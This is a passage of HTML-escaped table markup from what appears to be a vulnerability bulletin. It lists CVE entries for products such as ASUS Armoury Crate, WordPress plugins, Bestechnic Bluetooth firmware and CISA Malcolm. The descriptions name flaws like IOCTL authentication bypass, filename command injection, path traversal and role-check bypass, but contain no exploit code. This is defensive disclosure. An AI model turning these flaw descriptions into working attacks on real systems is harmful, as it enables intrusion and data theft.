&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16004&quot; target=&quot;_blank&quot;&gt;CVE-2026-16004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Release of Invalid Pointer or Reference in Armoury Crate driver allows a local user to free arbitrary memory via a crafted IOCTL request by bypassing the driver&#039;s verification, which can corrupt data structures and cause a system crash (BSOD).Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16005&quot; target=&quot;_blank&quot;&gt;CVE-2026-16005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Exposure of Sensitive System Information to an Unauthorized Control Sphere in&amp;nbsp;Armoury Crate driver allows a local user to obtain kernel virtual addresses via a crafted IOCTL request by bypassing the driver&#039;s verification, potentially providing further insight into the kernel memory layout.Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16006&quot; target=&quot;_blank&quot;&gt;CVE-2026-16006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Sensitive Information in Resource Not Removed Before Reuse in ASUS Armoury Crate driver allows a local user to disclose sensitive information from uninitialized memory via a crafted IOCTL request that bypasses the driver&#039;s security verification mechanism. Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18023&quot; target=&quot;_blank&quot;&gt;CVE-2026-18023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Allocation of Resources Without Limits or Throttling in ASUS&amp;nbsp;Armoury Crate allows a local user to cause a denial-of-service condition through system memory exhaustion by bypassing driver authentication and allocating an unrestricted amount of memory.Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75808&quot; target=&quot;_blank&quot;&gt;CVE-2026-75808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Exposed IOCTL with insufficient access control in ASUS&amp;nbsp;Armoury Crate allows a local user to disclosure information and disabling device functionality by bypassing driver authentication and using IOCTLs to read from and write to PCIe configuration space.Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75809&quot; target=&quot;_blank&quot;&gt;CVE-2026-75809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Exposed Dangerous Method or Function in ASUS&amp;nbsp;Armoury Crate allow a local user to cause a brief system stall by bypassing driver authentication and sending requests to trigger system management interrupts (SMIs). Repeatedly triggering SMI may lead to a denial-of-service (DoS) condition.Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75810&quot; target=&quot;_blank&quot;&gt;CVE-2026-75810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Improper Restriction of Software Interfaces to Hardware Features in ASUS&amp;nbsp;Armoury Crate allows a local user to modify hardware configuration settings and potentially cause hardware damage by bypassing driver authentication and accessing critical model-specific registers.Refer to the &#039; Security Update for Armoury Crate App&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75811&quot; target=&quot;_blank&quot;&gt;CVE-2026-75811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Control Center Express Agent&lt;/td&gt;
&lt;td&gt;Missing authentication for a critical function in ASUS Control Center Express Agent allows an unauthenticated nearby user to control the host via a direct connection to the agent when the host has an active login session. Refer to the &#039;&amp;nbsp; Security Update for ASUS Control Center Express Agent&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19397&quot; target=&quot;_blank&quot;&gt;CVE-2026-19397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BackWPup--BackWPup&lt;/td&gt;
&lt;td&gt;The BackWPup WordPress plugin before 5.7.5 does not properly restrict access to several of its REST API routes for job, backup-destination, and backup-execution management, allowing users holding a BackWPup WordPress plugin before 5.7.5-defined, administrator-assigned limited role to create and run backup jobs and exfiltrate a full database backup to an attacker-controlled destination.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86815&quot; target=&quot;_blank&quot;&gt;CVE-2026-86815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BE REST Endpoints--BE REST Endpoints&lt;/td&gt;
&lt;td&gt;The BE REST Endpoints WordPress plugin through 1.0.0 does not perform any authorization check before allowing widgets to be read, created, updated and deleted, and does not sanitize the values it stores in them, allowing unauthenticated users to inject arbitrary web scripts which will execute in the browser of any user visiting the site.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81742&quot; target=&quot;_blank&quot;&gt;CVE-2026-81742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BEAR--BEAR&lt;/td&gt;
&lt;td&gt;The BEAR WordPress plugin before 1.2.2 does not verify a CSRF nonce or check user capabilities before updating taxonomy terms, allowing an attacker to modify arbitrary terms by tricking a logged-in privileged user into visiting a crafted page.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84023&quot; target=&quot;_blank&quot;&gt;CVE-2026-84023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BEAR--BEAR&lt;/td&gt;
&lt;td&gt;The BEAR WordPress plugin before 1.2.2 does not verify a CSRF nonce before saving its meta field configuration, allowing an attacker to overwrite that configuration by tricking a logged-in administrator into visiting a crafted page.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84024&quot; target=&quot;_blank&quot;&gt;CVE-2026-84024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BEAR--BEAR&lt;/td&gt;
&lt;td&gt;The BEAR WordPress plugin before 1.2.2 does not perform ownership checks on several handlers that return product data by a user-supplied identifier, allowing users who are restricted to their own products to read other owners&#039; product information, including protected downloadable file URLs and private product metadata.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84025&quot; target=&quot;_blank&quot;&gt;CVE-2026-84025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bestechnic Co., Ltd--BES2300 Bluetooth Audio SoC&lt;/td&gt;
&lt;td&gt;An issue in the l2cap_handle_data() function of Bestechnic Co., Ltd BES2300 Bluetooth Audio SoC firmware v3.x and earlier allows attackers to cause a Denial of Service (DoS) via sending a crafted L2CAP packet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79376&quot; target=&quot;_blank&quot;&gt;CVE-2026-79376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bestechnic Co., Ltd--BES2300 Bluetooth Audio SoC&lt;/td&gt;
&lt;td&gt;A heap overflow in the a2dp_decoder_sbc.cpp component of Bestechnic Co., Ltd BES2300 Bluetooth Audio SoC firmware v3.x and earlier allows attackers to cause a Denial of Service (DoS) via sending a crafted L2CAP packet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79377&quot; target=&quot;_blank&quot;&gt;CVE-2026-79377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bestechnic Co., Ltd--BES2300 Bluetooth Audio SoC&lt;/td&gt;
&lt;td&gt;An issue in the btm_acl_handle() function of Bestechnic Co., Ltd BES2300 Bluetooth Audio SoC firmware v3.x and earlier allows attackers to cause a Denial of Service (DoS) via sending a crafted L2CAP packet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79378&quot; target=&quot;_blank&quot;&gt;CVE-2026-79378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bestechnic Co., Ltd--BES2300 Bluetooth Audio SoC&lt;/td&gt;
&lt;td&gt;A buffer overflow in the SBC_DecodeFrames() function of Bestechnic Co., Ltd BES2300 Bluetooth Audio SoC firmware v3.x and earlier and fixed in v.5.0 allows attackers to cause a Denial of Service (DoS) via sending a crafted frame.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79379&quot; target=&quot;_blank&quot;&gt;CVE-2026-79379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bitfrost.io--Bifrost&lt;/td&gt;
&lt;td&gt;The `vtoken-minting` and `slpx` pallets in Bifrost contain an improper authorization vulnerability in channel commission attribution. A signed account can supply an arbitrary registered `channel_id` when minting tokens without verifying that the caller is authorized to mint on behalf of that channel. This allows an attacker to inflate a channel&#039;s recorded mint volume and cause protocol commission payments to be disproportionately distributed to that channel during commission settlement.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86840&quot; target=&quot;_blank&quot;&gt;CVE-2026-86840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Booking for Appointments and Events Calenda--Booking for Appointments and Events Calendar&lt;/td&gt;
&lt;td&gt;The Booking for Appointments and Events Calendar WordPress plugin before 9.8.1 does not verify that a payment was actually taken before recording a booking as paid, trusting the payment gateway named in a public, unauthenticated booking request even when the site has never configured that gateway. This lets an unauthenticated attacker obtain confirmed, fully paid appointments and events without any payment being collected.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77689&quot; target=&quot;_blank&quot;&gt;CVE-2026-77689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Booking for Appointments and Events Calenda--Booking for Appointments and Events Calendar&lt;/td&gt;
&lt;td&gt;The Booking for Appointments and Events Calendar WordPress plugin before 2.4.10 does not verify that the user editing a customer or employee record is entitled to modify the WordPress account linked to it, allowing users holding Amelia&#039;s customer or employee management permissions to set the password and email address of other users&#039; WordPress accounts and take them over.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77705&quot; target=&quot;_blank&quot;&gt;CVE-2026-77705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bookit Booking &amp;amp; Appointment Calendar--Bookit Booking &amp;amp; Appointment Calendar&lt;/td&gt;
&lt;td&gt;The Bookit - Booking &amp;amp; Appointment Calendar WordPress plugin before 2.6.0.1 does not properly restrict the data returned by an availability-check request, allowing unauthenticated users to retrieve other customers&#039; appointment details, including free-text booking comments and contact information.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88995&quot; target=&quot;_blank&quot;&gt;CVE-2026-88995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brainzcompany--Zenius EMS 8.0&lt;/td&gt;
&lt;td&gt;Authentication bypass using an alternate path or channel and Improper validation of syntactic correctness of input vulnerability in Brainzcompany Zenius EMS 8.0 allows Remote Code Inclusion. This issue affects Zenius EMS 8.0: through OAM (Build 109).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88260&quot; target=&quot;_blank&quot;&gt;CVE-2026-88260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bull--BullSequana XH3406&lt;/td&gt;
&lt;td&gt;Under certain circumstances such as reset to factory default operation, the BMC root account is made active without a password on BullSequana XH3406 and XH3515.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15679&quot; target=&quot;_blank&quot;&gt;CVE-2025-15679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A web interface reflects a portion of the request URL into a script context and a hyperlink attribute without adequate encoding, and does not require authentication to reach. This allows an unauthenticated network attacker to craft a link that, when visited by a user, executes arbitrary script in the context of the affected application and can redirect the user&#039;s browser to an arbitrary external site. Successful exploitation could allow an attacker to act with the compromised user&#039;s session privileges within the application.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90443&quot; target=&quot;_blank&quot;&gt;CVE-2026-90443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A file-transfer interface that requires valid credentials accepts attacker-controlled filenames without restricting shell metacharacters. An automated process later constructs and runs a system command using the uploaded file&#039;s name, allowing an authenticated attacker to embed and execute arbitrary operating system commands with the privileges of that process. This allows an attacker to read and modify ingested log data, and could provide a foothold for further movement within the internal network.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90444&quot; target=&quot;_blank&quot;&gt;CVE-2026-90444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;An interface that accepts file uploads from authenticated users extracts the contents of uploaded archives without validating that extracted file paths remain within the intended destination directory. This allows an authenticated attacker to craft an archive whose entries traverse outside the destination directory, causing the extraction process to write files to arbitrary locations with the privileges of that process. This could allow an attacker to inject fabricated records into the system&#039;s stored data or tamper with application configuration.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90445&quot; target=&quot;_blank&quot;&gt;CVE-2026-90445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;An application programming interface endpoint accepts a user-supplied value and interpolates it directly into the path of a backend request to the underlying search and analytics data store, without restricting its contents. This allows an authenticated attacker to substitute an arbitrary backend path, causing the application&#039;s own elevated service credentials to be used against unintended internal endpoints. This could allow an attacker to enumerate or read internal configuration and administrative data from the backend data store that would otherwise be restricted.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90446&quot; target=&quot;_blank&quot;&gt;CVE-2026-90446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A routing rule selects between two different authentication mechanisms for the same downstream service based on the value of a client-supplied request header, rather than on any property the client cannot control. An authenticated user in possession of a shared service credential can set this header to route around the primary role-based authorization check and reach the alternate path&#039;s fixed, elevated role instead. This allows a low-privileged authenticated attacker who knows the shared credential to perform actions reserved for a higher-privileged role.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90447&quot; target=&quot;_blank&quot;&gt;CVE-2026-90447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A deployment mode intended to expose only read access to stored data proxies a set of application programming interface routes without restricting which request methods are allowed. One such route accepts a request that creates or overwrites a stored record, including an attacker-chosen identifier, using the application&#039;s own elevated backend credentials. This allows an authenticated user on a deployment intended to be read-only to forge or overwrite stored records that should not be modifiable in that deployment mode.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90448&quot; target=&quot;_blank&quot;&gt;CVE-2026-90448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;When a particular authentication mode is configured, the reverse proxy forwards requests for a bundled third-party administrative interface directly to that interface without applying the gateway&#039;s own authentication requirement first. All access control for this administrative interface, which manages the credential store used to gate every other service in the deployment, is delegated entirely to that third-party interface&#039;s own login mechanism. Any authentication weakness in that bundled interface would compromise the credential store protecting the rest of the deployment.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90449&quot; target=&quot;_blank&quot;&gt;CVE-2026-90449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;The application&#039;s role-authorization lookup defaults to granting access when a request handler&#039;s name is not present in its table of role requirements, rather than defaulting to deny. Any request handler that is not explicitly registered in this table is reachable by any authenticated user regardless of their assigned role, and any newly added handler is fail-open by default until explicitly added to the table.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90450&quot; target=&quot;_blank&quot;&gt;CVE-2026-90450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;An example environment-configuration file ships with a fixed, publicly-known secret value used to sign authentication cookies for a bundled packet-analysis component. A deployment that copies this example file into active configuration without running the setup routine that regenerates the value will use the known default, allowing an attacker aware of the default to forge valid authentication cookies for that component.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90451&quot; target=&quot;_blank&quot;&gt;CVE-2026-90451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;Requests from the reverse proxy to the identity-provider service for token discovery, introspection, and credential exchange do not verify the identity provider&#039;s server certificate. An attacker positioned on the network path between the proxy and the identity provider could impersonate the identity provider and issue forged authentication tokens accepted by the deployment.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90452&quot; target=&quot;_blank&quot;&gt;CVE-2026-90452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A file-upload handler redirects the authenticated client&#039;s browser to a URL taken directly from that same request&#039;s Referer header, without validating it against the application&#039;s own origin. This allows an authenticated attacker to craft a request that causes another user&#039;s browser to be redirected to an arbitrary external destination after completing an upload.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90453&quot; target=&quot;_blank&quot;&gt;CVE-2026-90453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A deployment mode intended to expose only read access to a bundled packet-analysis component&#039;s interface denies a list of write-capable routes by pattern, but the pattern omits routes that modify tags attached to stored session records, and the proxy configuration otherwise permits the request method those routes use. This allows an authenticated user on a deployment intended to be read-only to add or remove tags on stored session records.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90454&quot; target=&quot;_blank&quot;&gt;CVE-2026-90454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;A prior update that raised a bundled HTTP client library to a version remediating known vulnerabilities was later reverted, reintroducing the earlier, vulnerable version into a log-processing component. The only code path in that component using the library issues a request to a single fixed, trusted vendor URL at initialization and does not process attacker-controlled input through the library, limiting practical exploitability of the reintroduced version in this context.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90455&quot; target=&quot;_blank&quot;&gt;CVE-2026-90455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;An example environment-configuration file for a bundled inventory-management component ships with a fixed, publicly-known administrative password. A deployment that copies this example file into active configuration without running the setup routine that regenerates credentials will expose that component&#039;s administrative interface to anyone aware of the default value.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90456&quot; target=&quot;_blank&quot;&gt;CVE-2026-90456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CISA--Malcolm&lt;/td&gt;
&lt;td&gt;The administrative password is hashed using a comparatively weak, fast algorithm for the credential store backing one authentication path, and the file containing that hash is written with permissions allowing it to be read by any local user. This is inconsistent with a separate, stronger hashing algorithm used for the same password on another authentication path. A party able to read this file, including a local user or a party with access to a configuration backup, could feasibly recover the underlying password through offline computation, compromising the administrative credential across every path that accepts it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90457&quot; target=&quot;_blank&quot;&gt;CVE-2026-90457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citirx--Workspace app for Windows&lt;/td&gt;
&lt;td&gt;Out-of-bounds read vulnerability in Citirx Workspace app for Windows. This issue affects Workspace app for Windows: before 2603.11 Current Release (CR), before 2507.1 LTSR CU3, and before LTSR 2607.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78546&quot; target=&quot;_blank&quot;&gt;CVE-2026-78546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix--Citrix Workspace app for Windows&lt;/td&gt;
&lt;td&gt;Out-of-bounds write vulnerability in Citrix Citrix Workspace app for Windows. This issue affects Citrix Workspace app for Windows: before 2603.11 Current Release (CR), before 2507.1 LTSR CU3, and before LTSR 2607.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78547&quot; target=&quot;_blank&quot;&gt;CVE-2026-78547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cloud Foundry Foundation--UAA&lt;/td&gt;
&lt;td&gt;A vulnerability allows users authenticating through a federated OIDC provider to obtain the uaa.admin scope despite operators restricting that provider through externalGroupsWhitelist configuration. The issue occurs specifically when an OIDC identity provider uses groupMappingMode: AS_SCOPES with a wildcard externalGroupsWhitelist entry.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
